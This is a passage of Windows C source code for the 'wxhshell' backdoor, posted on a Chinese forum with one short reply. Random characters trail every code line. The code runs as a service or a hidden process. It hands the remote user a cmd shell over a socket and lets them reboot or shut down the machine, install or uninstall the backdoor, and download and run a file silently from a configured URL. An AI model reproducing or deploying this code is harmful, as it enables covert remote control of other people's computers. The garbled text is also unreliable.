  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5`3f"(ay/  
  } tKUy&]T  
  else { V6ioQx=K#  
;ckv$S[p  
    switch(cmd[0]) { <#9zc'ED:  
  7#R& OQ  
  // 帮助 {l7@<xZ??M  
  case '?': { /fM6%V=Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =9;jVaEMJL  
    break; IK6XJsz$J  
  } h;KI2k_^  
  // 安装 )LYj,do  
  case 'i': { 6YZ&>` a^  
    if(Install()) C"IP1N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =;3|?J0=  
    else dMwVgc:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yf=ek= =  
    break; GZc%*  
    } >gr6H1  
  // 卸载 Ffm Q$>S  
  case 'r': { 'ej{B0rE  
    if(Uninstall()) `q exEk@S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '+X9MzU*\  
    else 9& W\BQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^tuJM:  
    break; g-%uw[pf  
    } ^U_B>0`ch  
  // 显示 wxhshell 所在路径 Z<r&- !z  
  case 'p': { Drlt xI)  
    char svExeFile[MAX_PATH]; d~| qx  
    strcpy(svExeFile,"\n\r"); zF]hf P0Q  
      strcat(svExeFile,ExeFile); 't{=n[  
        send(wsh,svExeFile,strlen(svExeFile),0); F,O+axO ja  
    break; \FTv N  
    } d<6L&8)<  
  // 重启 _jZDSz|Yb  
  case 'b': { !*|CIxk(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nL+*Ja  
    if(Boot(REBOOT)) ~|J6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ilbW|s?=k  
    else { <$D)uY K  
    closesocket(wsh); 8XJ%Yuu  
    ExitThread(0); 6XQ)Q)  
    } @R2|=ox  
    break; 3<+l.Wly  
    } 4kg9R^0  
  // 关机 [1nI%/</>  
  case 'd': { z7PPwTBa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GN1cnM>`  
    if(Boot(SHUTDOWN)) FcW ?([l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|]~,l2]}  
    else { #zy,x  
    closesocket(wsh); +Kq>r|;  
    ExitThread(0); nLtP^ 1~9H  
    } 6xFZv t  
    break; Z=F=@<!  
    } N%B#f\N  
  // 获取shell 7OWiG,  
  case 's': { ?|hzAF"U  
    CmdShell(wsh); )%tf,3  
    closesocket(wsh); QHs]~Ja  
    ExitThread(0); @6D<D6`  
    break; _~cmR<  
  } ^5T{x>Lj  
  // 退出 ,OasT!Sr  
  case 'x': { H7SqM D*y9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y~luuV;uj  
    CloseIt(wsh); nlY ^  
    break; ,Xh4(Gn#b  
    } 5%>U.X?i  
  // 离开 q$t& *O_  
  case 'q': { 2d>PN^x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _&z>Id`w  
    closesocket(wsh); cn\_;TYiJ  
    WSACleanup(); z H \*v'  
    exit(1); Z9sg6M@s  
    break; 2)8lJXM$L  
        } ZbGyl}8ua  
  } 8p211MQ<  
  } d)G-K+&B  
N4Lk3]  
  // 提示信息 b R6bS7$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cu"%>>,,  
} \D[BRE+  
  } ~xJD3Qf  
K7l{&2>?  
  return; VC+\RB#:-  
} 95<:-?4C;W  
aH$~':[93  
// shell模块句柄 ^$L/Mv+  
int CmdShell(SOCKET sock) f*5"Jh@  
{ UiSc*_N"  
STARTUPINFO si; * =Fcu@  
ZeroMemory(&si,sizeof(si)); ec0vg.>p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M`<D Z<:<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j>T''T f  
PROCESS_INFORMATION ProcessInfo; u<8Q[_E&  
char cmdline[]="cmd"; 'IP!)DS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ov|j{}=L=9  
  return 0; ) )F.|w  
} S3<v?tqLr  
@$*c0 . |z  
// 自身启动模式 pE< ' '`  
int StartFromService(void) g3Q #B7A  
{ b?$09,{0  
typedef struct /LD*8 a  
{ tWiV0PTI  
  DWORD ExitStatus; TGNeEYr  
  DWORD PebBaseAddress; \\qg2yI  
  DWORD AffinityMask; @CmxH(-i-  
  DWORD BasePriority; r&[~/m8zl  
  ULONG UniqueProcessId; }rE|\p>  
  ULONG InheritedFromUniqueProcessId; pUr[MnQLf  
}   PROCESS_BASIC_INFORMATION; M<)2  
O>GP>U?]  
PROCNTQSIP NtQueryInformationProcess; _#O?g=1  
]| y H8m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _:L*{=N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zi ,Rk.  
6!nb)auVi  
  HANDLE             hProcess; D'h2 DP!  
  PROCESS_BASIC_INFORMATION pbi; #+;=ijyF  
3(:mRb}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ; ]Aa  
  if(NULL == hInst ) return 0; *ls6#j@  
rieQ&Jt"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o FLrSmY)E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =oME~oB~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &EPEpN R  
{yHfE,  
  if (!NtQueryInformationProcess) return 0; @:&+wq_>A^  
AG7}$O.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,#T3OA!c**  
  if(!hProcess) return 0; ".%LBs~$  
lt4jnV2"a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E/ZJ\@gzD  
[,^dM:E/  
  CloseHandle(hProcess); q4i8Sp>  
`4 bd,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yU"G|Ex  
if(hProcess==NULL) return 0; <6C9R>  
jtv Q<4  
HMODULE hMod; !&O/7ywe  
char procName[255]; j/D)UWkR  
unsigned long cbNeeded; &8_;:  
?(q*U!=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); //lZmyP?  
41o!2(e$  
  CloseHandle(hProcess); l;*lPRoW,  
VaSNFl1_M  
if(strstr(procName,"services")) return 1; // 以服务启动 t`T\d\  
15 o.j!S  
  return 0; // 注册表启动 O'-Zn]@.]  
} 4AOS}@~W  
Cz r4 -#2  
// 主模块 LGROEn<*d  
int StartWxhshell(LPSTR lpCmdLine) x7Rq|NQ  
{ ~f10ZB_k>'  
  SOCKET wsl; IS2Ij  
BOOL val=TRUE; T[h}A"yK;  
  int port=0; V-;nj,.mY  
  struct sockaddr_in door; d Zz^9:C+  
CS5jJi"pD3  
  if(wscfg.ws_autoins) Install(); ~,!hE&LE~  
f=_?<I{  
port=atoi(lpCmdLine); 90iW-"l+[  
'Z2N{65  
if(port<=0) port=wscfg.ws_port; {0vbC/?]  
d=(Yl r  
  WSADATA data; z]l-?>Zbg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p (xD/E  
$qtU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P}+|`>L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wytvs*\`  
  door.sin_family = AF_INET; K;y\[2;}e,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \e:FmG  
  door.sin_port = htons(port); pm W6~%}*  
(2S!$w%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L2>?m`wp  
closesocket(wsl); /ik)4]>  
return 1; {`K]sa7`  
} Tt<-<oyU.  
 Z|:_ c  
  if(listen(wsl,2) == INVALID_SOCKET) { UQ$\ an'  
closesocket(wsl); 1Fvv/Tj  
return 1; bm tJU3Rm  
} >OKS/(I0  
  Wxhshell(wsl); krr-ZiK  
  WSACleanup(); K*Nb_|~  
 zfjDb  
return 0; qN1e{T8u  
}uvKE|umj  
} 5gc:Y`7t  
2yJ7]+Jd7Y  
// 以NT服务方式启动 ^i`3cCFB<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K{= r.W  
{ 8V=HyF#  
DWORD   status = 0; %|`:5s-T%  
  DWORD   specificError = 0xfffffff; 6z p@#vYI  
(}*\ {  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NWQPOq#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l${Hgn+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,<;l"v(  
  serviceStatus.dwWin32ExitCode     = 0; x;ERRK  
  serviceStatus.dwServiceSpecificExitCode = 0; Jm]]>K8.3V  
  serviceStatus.dwCheckPoint       = 0; %)<oX9E  
  serviceStatus.dwWaitHint       = 0; >tmnj/=&   
>%n8W>^^4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VGTeuu5i  
  if (hServiceStatusHandle==0) return; r{R[[]p  
5A2Y'ms,/  
status = GetLastError(); rnMG0  
  if (status!=NO_ERROR) Xa{~a3Wy  
{ E !Oz|q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (6ohrM>Q  
    serviceStatus.dwCheckPoint       = 0; wL8bs- U  
    serviceStatus.dwWaitHint       = 0; tf$PaA  
    serviceStatus.dwWin32ExitCode     = status; j{Yt70Wv  
    serviceStatus.dwServiceSpecificExitCode = specificError; z&C{8aQ'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OQytgXED  
    return; SQdz EF  
  } 4DQ07w  
AND7jEn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ";-{ ~  
  serviceStatus.dwCheckPoint       = 0; vWqyZ-p,q  
  serviceStatus.dwWaitHint       = 0; ;1{iF2jZ:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]/aRc=Gn  
} 2cs?("8e%  
?VMi!-POE  
// 处理NT服务事件,比如:启动、停止 }"%!(rx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7.7Cluh5,  
{ [ -9)T  
switch(fdwControl) bGGeg%7  
{ T8,k7 7  
case SERVICE_CONTROL_STOP: ;x!,g5q"q  
  serviceStatus.dwWin32ExitCode = 0; vO}qjw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $:%*gY4~76  
  serviceStatus.dwCheckPoint   = 0; otWo^CE$  
  serviceStatus.dwWaitHint     = 0; jGk7=}nw  
  { DHh+%|e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8eOl@}bV  
  } >%iu!H"  
  return; Qv&T E3  
case SERVICE_CONTROL_PAUSE: t Y:G54d=_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QE7+rBa  
  break; B8bvp:Ho|  
case SERVICE_CONTROL_CONTINUE: 6obQ9L c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KW&nDu t  
  break; lSZ"y Q+  
case SERVICE_CONTROL_INTERROGATE: (/T +Wpy?  
  break; gzl%5`DBw  
}; GIl:3iB49  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68v xI|EZ  
} 2"T8^r|U  
R19'| TJ  
// 标准应用程序主函数 c_~XL^B@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,DE(5iDS  
{ ::4"wU3t  
1k!D0f3qb  
// 获取操作系统版本 f2uZK!:m  
OsIsNt=GetOsVer(); mcvDxjk,h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i{<8 hLO  
R!sNg   
  // 从命令行安装 |C~Sr#6)7  
  if(strpbrk(lpCmdLine,"iI")) Install(); lKf Mp1  
}=Hf?';m  
  // 下载执行文件 a^@+%?X  
if(wscfg.ws_downexe) { M#=Y~PU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t@X M /=d  
  WinExec(wscfg.ws_filenam,SW_HIDE); %0NLRfp  
} 'g. :MQ8  
0Wa#lkn$I  
if(!OsIsNt) { P1dN32H o  
// 如果时win9x,隐藏进程并且设置为注册表启动 G"}qV%"6"  
HideProc(); !.9l4@z#  
StartWxhshell(lpCmdLine); jeY4yM  
} [fd~nD#.  
else *hV4[=  
  if(StartFromService()) H( MB5  
  // 以服务方式启动 <inl{CX/  
  StartServiceCtrlDispatcher(DispatchTable); C,[ L/!  
else x<8\-  
  // 普通方式启动 N[>:@h  
  StartWxhshell(lpCmdLine); Z&TD+fT<  
AlUJ1^o)  
return 0; [70Y,,w  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八